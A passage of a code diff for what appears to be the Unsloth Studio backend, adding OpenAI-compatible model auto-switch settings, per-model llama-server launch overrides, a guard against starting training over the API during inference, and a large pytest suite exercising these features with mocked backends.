+@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def get_openai_auto_switch( + current_subject: str = Depends(get_current_subject), +) -> OpenAIAutoSwitchResponse: + return OpenAIAutoSwitchResponse( + enabled = get_openai_auto_switch_enabled(), + auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(), + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def update_openai_auto_switch( + payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) +) -> OpenAIAutoSwitchResponse: + try: + enabled, idle_seconds = set_openai_auto_switch( + payload.enabled, payload.auto_unload_idle_seconds + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."), + event = "settings.update_openai_auto_switch_failed", + log = logger, + ) from exc + return OpenAIAutoSwitchResponse( + enabled = enabled, + auto_unload_idle_seconds = idle_seconds, + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def get_openai_auto_switch_overrides( + current_subject: str = Depends(get_current_subject), +) -> ModelOverridesResponse: + return ModelOverridesResponse(overrides = get_model_overrides()) + + +@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def update_openai_auto_switch_override( + payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject) +) -> ModelOverridesResponse: + from core.inference.llama_server_args import validate_extra_args + try: + extra_args = validate_extra_args(payload.llama_extra_args) + set_model_override( + payload.model_id, + llama_extra_args = extra_args, + max_seq_length = payload.max_seq_length, + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid model launch override."), + event = "settings.update_model_override_failed", + log = logger, + ) from exc + return ModelOverridesResponse(overrides = get_model_overrides()) + + class PreviewLinkRotateResponse(BaseModel): rotated: bool = True diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 4f131ad2f2..1da1c4f425 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -47,7 +47,7 @@ except ImportError: from utils.paths import resolve_dataset_path # Auth -from auth.authentication import get_current_subject +from auth.authentication import authenticated_via_api_key, get_current_subject from utils.utils import log_and_http_error @@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu @router.post("/start") async def start_training( - request: TrainingStartRequest, current_subject: str = Depends(get_current_subject) + request: TrainingStartRequest, + current_subject: str = Depends(get_current_subject), + via_api_key: bool = Depends(authenticated_via_api_key), ): """ Start a training job. @@ -125,6 +127,22 @@ async def start_training( try: logger.info(f"Starting training job with model: {request.model_name}") + # When Studio is driven as an inference API (API-key auth), refuse to start + # training while a request is in flight: training frees VRAM by unloading + # the chat model, which would kill the stream. The Studio UI (session auth) + # still starts training and coexists/frees VRAM as before. (A mixed UI+API + # session is not yet special-cased.) + if via_api_key is True: + from core.inference.llama_keepwarm import other_inference_request_count + if other_inference_request_count(current_request_counted = False) > 0: + raise HTTPException( + status_code = 409, + detail = ( + "Cannot start training over the API while an inference request is in " + "progress. Wait for it to finish, or start training from the Studio UI." + ), + ) + # No in-process ensure_transformers_version(): the subprocess # (worker.py) activates the correct version before importing ML libs. diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index 23b90d7002..ba9f5b9cbc 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -1689,6 +1689,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() +def upsert_app_setting_map_entry( + key: str, entry_key: str, entry_value: dict[str, Any] | None +) -> dict[str, Any]: + """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued + app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other + sub-entries cannot drop each other's updates.""" + conn = get_connection() + try: + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + current = _json_loads(row["value_json"], {}) if row else {} + if not isinstance(current, dict): + current = {} + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + now = datetime.now(timezone.utc).isoformat() + conn.execute( + """ + INSERT INTO app_settings (key, value_json, updated_at) + VALUES (?, ?, ?) + ON CONFLICT(key) DO UPDATE SET + value_json = excluded.value_json, + updated_at = excluded.updated_at + """, + (key, json.dumps(current), now), + ) + conn.commit() + return current + except Exception: + conn.rollback() + raise + finally: + conn.close() + + def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py new file mode 100644 index 0000000000..7d2e2213b3 --- /dev/null +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -0,0 +1,3039 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion. + +No GPU or llama-server: the backend and the load route are mocked, mirroring +tests/test_gguf_completion_usage.py. +""" + +import asyncio + +import pytest + +import routes.inference as inference_route +from models.inference import LoadRequest +from core.inference import local_model_resolver as resolver +from utils import openai_auto_switch_settings as settings + + +class _FakeBackend: + def __init__( + self, + loaded_id = None, + hf_variant = None, + advertised_id = None, + ): + self.model_identifier = loaded_id + self.is_loaded = loaded_id is not None + self.hf_variant = hf_variant + self._openai_advertised_id = advertised_id + + +class _LoadRecorder: + """Stand-in for the load route: records calls and simulates a load.""" + + def __init__( + self, + backend, + fail = False, + ): + self.backend = backend + self.calls = [] + self.fail = fail + + async def __call__( + self, + request, + fastapi_request, + current_subject = None, + ): + self.calls.append(request) + if self.fail: + from fastapi import HTTPException + raise HTTPException(status_code = 503, detail = "load failed") + self.backend.model_identifier = request.model_path + self.backend.is_loaded = True + # Mirror _load_model_impl: a load advertises its own id until the + # auto-switch caller overwrites it with the repo id. + self.backend._openai_advertised_id = None + return None + + +def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder): + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle + # gate that auto-switch already owns, so it calls the impl directly). + monkeypatch.setattr(inference_route, "_load_model_impl", recorder) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + +def _run_hook(model = "some/model"): + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester")) + + +def test_flag_off_never_loads(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") + assert rec.calls == [] + + +def test_unknown_model_falls_through(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_already_loaded_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + # Case-insensitive match against the loaded identifier. + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/A-GGUF") + assert rec.calls == [] + + +def test_known_unloaded_model_switches_once(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert isinstance(req, LoadRequest) + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert backend.model_identifier == "unsloth/B-GGUF" + + +def test_concurrent_same_target_loads_once(monkeypatch): + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + + async def _race(): + await asyncio.gather( + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + ) + + asyncio.run(_race()) + assert len(rec.calls) == 1 + + +def test_load_failure_propagates(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend, fail = True) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException): + _run_hook("unsloth/B-GGUF") + + +def test_same_repo_different_variant_switches(monkeypatch): + # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec.calls) == 1 + assert rec.calls[0].gguf_variant == "Q8_0" + + +def test_same_repo_same_variant_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"), # case-insensitive + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert rec.calls == [] + + +def test_responses_endpoint_wires_auto_switch_before_dispatch(): + # The /v1/responses endpoint must invoke the auto-switch hook before either + # dispatcher so streaming requests switch too. Asserted on the source, which + # is immune to test-ordering effects on the shared inference module. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "_maybe_auto_switch_model" in src + hook_at = src.index("_maybe_auto_switch_model") + assert hook_at < src.index("_responses_stream") + assert hook_at < src.index("_responses_non_streaming") + + +def test_embeddings_endpoint_wires_auto_switch_before_loaded_check(): + # /v1/embeddings is model-bearing too, so it must auto-switch before the + # loaded-state gate. Asserted on the source for order-independence. + import inspect + + src = inspect.getsource(inference_route.openai_embeddings) + assert "_auto_switch_from_request_body" in src + assert src.index("_auto_switch_from_request_body") < src.index("is_loaded") + + +def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check(): + # The Anthropic token-count endpoint must count with the requested model. + import inspect + + src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "_maybe_auto_switch_model" in src + assert src.index("_maybe_auto_switch_model") < src.index("is_loaded") + + +def test_openai_compat_routes_bound_to_handlers_with_auth(): + # Inserting a helper between a @router.post decorator and its handler silently + # rebinds the route to the helper and drops its auth dependency (this happened to + # /messages/count_tokens). The source-inspection tests above miss it because they + # call the handler directly. Lock the path -> (handler, auth) mapping at the route + # level so any decorator/handler split is caught. + expected = { + ("POST", "/chat/completions"): "openai_chat_completions", + ("POST", "/completions"): "openai_completions", + ("POST", "/embeddings"): "openai_embeddings", + ("POST", "/responses"): "openai_responses", + ("POST", "/messages"): "anthropic_messages", + ("POST", "/messages/count_tokens"): "anthropic_count_tokens", + ("POST", "/audio/generate"): "generate_audio", + ("GET", "/models"): "openai_list_models", + ("GET", "/models/{model_id:path}"): "openai_retrieve_model", + } + seen = {} + for r in inference_route.router.routes: + path = getattr(r, "path", None) + endpoint = getattr(r, "endpoint", None) + if path is None or endpoint is None: + continue + for method in getattr(r, "methods", None) or (): + seen[(method, path)] = r + for key, handler in expected.items(): + assert key in seen, f"route {key} is not registered" + route = seen[key] + assert ( + route.endpoint.__name__ == handler + ), f"{key} bound to {route.endpoint.__name__}, expected {handler}" + deps = [d.call.__name__ for d in route.dependant.dependencies] + assert "get_current_subject" in deps, f"{key} lost its auth dependency" + + +# ── resolver ──────────────────────────────────────────────────────── + + +def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path): + from types import SimpleNamespace + + # Transformers/safetensors folder: not a GGUF, must be rejected. + tf = tmp_path / "tf-model" + tf.mkdir() + (tf / "config.json").write_text("{}") + (tf / "model.safetensors").write_text("x") + assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None + + # Standalone .gguf file: an entry with no quant sub-selection. + bare = tmp_path / "x.gguf" + bare.write_text("x") + e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare))) + assert e is not None and e.variants == () + + # HF-cache snapshots with a quant subdir (the nested layout the previous + # shallow glob missed): must still be detected. + repo = tmp_path / "models--org--repo" + (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True) + (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x") + e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo))) + assert e2 is not None and e2.variants + + +def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): + # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a + # bare mmproj projector (it only filters mmproj inside directory scans). A + # projector is not a servable model, so the resolver must reject it or + # /v1/models advertises it and a switch could load it over the real weights. + from types import SimpleNamespace + + proj = tmp_path / "mmproj-F16.gguf" + proj.write_text("x") + assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + + +def _entry(loader_id, *variants): + # load_path == loader_id for tests; production stores a concrete local path. + return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants)) + + +def test_resolver_matches_and_splits_variant(monkeypatch): + monkeypatch.setattr( + resolver, + "_build_index", + lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")}, + ) + resolver._scan = (0.0, {}) # force a rescan + # A requested variant present on disk resolves (case-insensitive). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A bare id resolves to a concrete local quant, never a remote one. + assert resolver.resolve_local_gguf("unsloth/B-GGUF") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A variant that is not on disk must not resolve (no remote download). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None + assert resolver.resolve_local_gguf("totally/unknown") is None + assert resolver.resolve_local_gguf("") is None + + +def test_resolver_failsafe_on_internal_error(monkeypatch): + # Resolution is best-effort: any internal failure must fall through to None + # so the request still serves the loaded model instead of 500-ing. The hook + # calls resolve_local_gguf without its own guard, so the guard lives here. + def boom(): + raise RuntimeError("scan blew up") + + monkeypatch.setattr(resolver, "_build_index", boom) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None + + +def test_resolver_nonstring_model_is_failsafe(): + # /v1/completions and /v1/embeddings pass body.get("model") straight through, + # so a non-string must not raise on .strip(). + assert resolver.resolve_local_gguf(123) is None + assert resolver.resolve_local_gguf({"a": 1}) is None + assert resolver.resolve_local_gguf(None) is None + + +def test_resolver_exact_id_with_colon_wins(monkeypatch): + # A local id that itself contains a colon (e.g. a Windows path) must match + # exactly rather than being split at the drive-letter colon. + win = r"C:\models\foo.gguf" + monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)}) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(win) == (win, None, win) + + +# ── settings coercion ─────────────────────────────────────────────── + + +def test_setting_coercion(): + assert settings._coerce_bool("on") is True + assert settings._coerce_bool("off") is False + assert settings._coerce_bool("garbage") is None + assert settings._coerce_int("5") == 5 + assert settings._coerce_int(-3) == 0 + assert settings._coerce_int("nope") is None + + +# ── idle keep-warm ────────────────────────────────────────────────── + + +def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch): + # Server idle far longer than the TTL, then a model is loaded: the load + # transition stamps activity so the next poll must not unload it. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1) + kw._inflight = 0 + kw._last_active = time.monotonic() - 3600 + + unloads = [] + backend = _FakeBackend("unsloth/Fresh-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.05) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): + # The headline behavior (the other idle tests only cover the negative paths): + # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly + # once and records its identity so a later alias request can reload that variant. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005) + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + kw._last_unloaded_model = None + + unloads = [] + backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M") + + def _unload(): + unloads.append(1) + backend.is_loaded = False # a real unload clears the slot + + backend.unload_model = _unload + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02)) + await asyncio.sleep(0.2) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [1] # freed once, not repeatedly + stash = kw.get_last_unloaded_model() + assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + + +def test_audio_generate_is_tracked_as_inference_path(): + # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so + # the keep-warm middleware must count it as in-flight inference. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/chat/completions") is True + assert _is_inference_path("/api/inference/models/list") is False + + +def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch): + # An in-flight request (inflight > 0) must protect the model from unload + # even when it has been idle by wall-clock past the TTL. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600) + + unloads = [] + backend = _FakeBackend("unsloth/Active-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.08) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +# ── per-model launch overrides ────────────────────────────────────── + + +def test_auto_switch_applies_model_override(monkeypatch): + # A configured model loads with its saved launch flags, not bare defaults. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + ) + + _run_hook("unsloth/B-GGUF") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert req.llama_extra_args == ["--n-gpu-layers", "20"] + assert req.max_seq_length == 4096 + + +def test_auto_switch_applies_partial_override(monkeypatch): + # Only llama_extra_args is configured: it is applied, max_seq_length stays default. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + ) + + _run_hook("unsloth/B-GGUF") + req = rec.calls[0] + assert req.llama_extra_args == ["--flash-attn"] + assert req.max_seq_length == 0 # untouched default + + +def _mock_override_store(monkeypatch): + """Back the override read + atomic-merge write with an in-memory dict.""" + import storage.studio_db as db + + store = {} + + def _merge_entry(key, entry_key, entry_value): + current = dict(store.get(key) or {}) + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + store[key] = current + return current + + monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) + monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + settings._cache.clear() + return store + + +def test_model_override_roundtrip(monkeypatch): + _mock_override_store(monkeypatch) + + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096 + ) + assert settings.get_model_override("unsloth/B-GGUF") == { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + } + # An override with no fields removes the entry rather than storing an empty one. + settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + assert settings.get_model_override("unsloth/B-GGUF") == {} + assert settings.get_model_overrides() == {} + + +def test_override_route_rejects_managed_flag_and_removes(monkeypatch): + import routes.settings as settings_route + from fastapi import HTTPException + + _mock_override_store(monkeypatch) + + # A managed/denylisted llama-server flag is rejected with 400, not 500. + bad = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"] + ) + with pytest.raises(HTTPException) as excinfo: + settings_route.update_openai_auto_switch_override(bad, "tester") + assert excinfo.value.status_code == 400 + + # A valid override is stored, then an empty payload removes it through the route. + ok = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + ) + resp = settings_route.update_openai_auto_switch_override(ok, "tester") + assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 + assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"] + + empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF") + resp2 = settings_route.update_openai_auto_switch_override(empty, "tester") + assert "unsloth/B-GGUF" not in resp2.overrides + + +def test_model_override_rejects_zero_max_seq_length(): + # 0 is not a valid sequence length and the setter drops a falsy value, so the + # payload must reject it at the boundary instead of accepting then discarding it. + import pydantic + import routes.settings as settings_route + + with pytest.raises(pydantic.ValidationError): + settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) + assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + + +def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): + # The PUT must persist enabled + idle in a single upsert so a settings write can't + # leave one key updated and the other stale. + import routes.settings as settings_route + import storage.studio_db as db + from utils.openai_auto_switch_settings import ( + AUTO_UNLOAD_IDLE_SETTING_KEY, + OPENAI_AUTO_SWITCH_SETTING_KEY, + ) + + calls = [] + + def _capture(mapping): + calls.append(dict(mapping)) + return {} + + monkeypatch.setattr(db, "upsert_app_settings", _capture) + settings._cache.clear() + + payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + resp = settings_route.update_openai_auto_switch(payload, "tester") + assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 + assert len(calls) == 1 # one transaction, not two + written = calls[0] + assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True + assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120 + + +def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): + # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is + # off, the settings response must report idle_unload_active so the UI shows the + # feature as active via env rather than "needs enable". + import routes.settings as settings_route + + monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_auto_unload_idle_seconds", lambda: 600 + ) # effective > 0 + resp = settings_route.get_openai_auto_switch("tester") + assert resp.enabled is False and resp.idle_unload_active is True + # Effective TTL 0 (off, nothing env-backed) -> not active. + monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) + assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False + + +# ── /v1/models discovery ──────────────────────────────────────────── + + +def test_v1_models_retrieve_is_case_insensitive(monkeypatch): + # The resolver lowercases its index, so a retrieve that differs only in case + # from a catalog id must still hit (200), not 404. Guards the .lower() compare + # in openai_retrieve_model against a silent revert. (The full local catalog is + # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) + from fastapi import HTTPException + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + + async def _catalog(): + return [ + {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + ] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) + + # A catalog id retrieved with different casing still resolves. + obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester")) + assert obj["id"] == "unsloth/A-GGUF" + # A truly unknown id still 404s. + with pytest.raises(HTTPException) as unknown: + asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester")) + assert unknown.value.status_code == 404 + + +# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ── + + +def test_index_excludes_hidden_models(tmp_path, monkeypatch): + # The llama.cpp validation probe and RAG embedding weights are hidden from + # Studio's pickers; they must never become auto-switch targets. + from types import SimpleNamespace + import routes.models as models_route + + normal = tmp_path / "normal-Q4_K_M.gguf" + normal.write_bytes(b"x" * 32) + probe = tmp_path / "stories260K.gguf" # llama.cpp install-validation probe + probe.write_bytes(b"x" * 32) + + def _info(mid, path): + return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid) + + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)], + ) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + resolver._scan = (0.0, {}) + + index = resolver._index() + assert "org/normal-gguf" in index # keys are normalized to lowercase + assert "ggml-org/models" not in index + # And the hidden probe cannot be auto-switched to by name. + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("ggml-org/models") is None + + +def test_idle_disabled_when_auto_switch_off(monkeypatch): + # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is + # off, so the idle loop and keep-warm middleware can never unload the model. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 60 + + +def test_count_tokens_is_tracked_as_inference_path(): + # count_tokens counts via the loaded tokenizer, so idle-unload must not pull + # the model out from under it; it has to be a tracked in-flight path. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/v1/messages/count_tokens") is True + assert _is_inference_path("/api/inference/messages/count_tokens") is True + assert _is_inference_path("/v1/messages") is True + + +# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ── + + +def test_bare_id_tolerates_any_loaded_variant(monkeypatch): + # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver + # picks the largest local quant, Q8_0) must NOT reload a different quant. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") # bare, no :VARIANT + assert rec.calls == [] + # An explicit :VARIANT request still honors the quant (reloads to Q8_0). + rec2 = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec2, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec2.calls) == 1 + + +def test_responses_hook_runs_after_input_validation(): + # A request that 400s on empty input must not have triggered a model load, + # so the auto-switch hook must come after the input-validation guard. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "No input provided" in src + assert src.index("No input provided") < src.index("_maybe_auto_switch_model") + + +def test_responses_system_only_rejected_before_switch(monkeypatch): + # Codex P2: instructions-only input normalises to a lone system message, which + # passes the empty-input check; it must 400 before the switch so an invalid + # Responses request can't evict the resident model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch a system-only Responses request") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "") + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + + +def 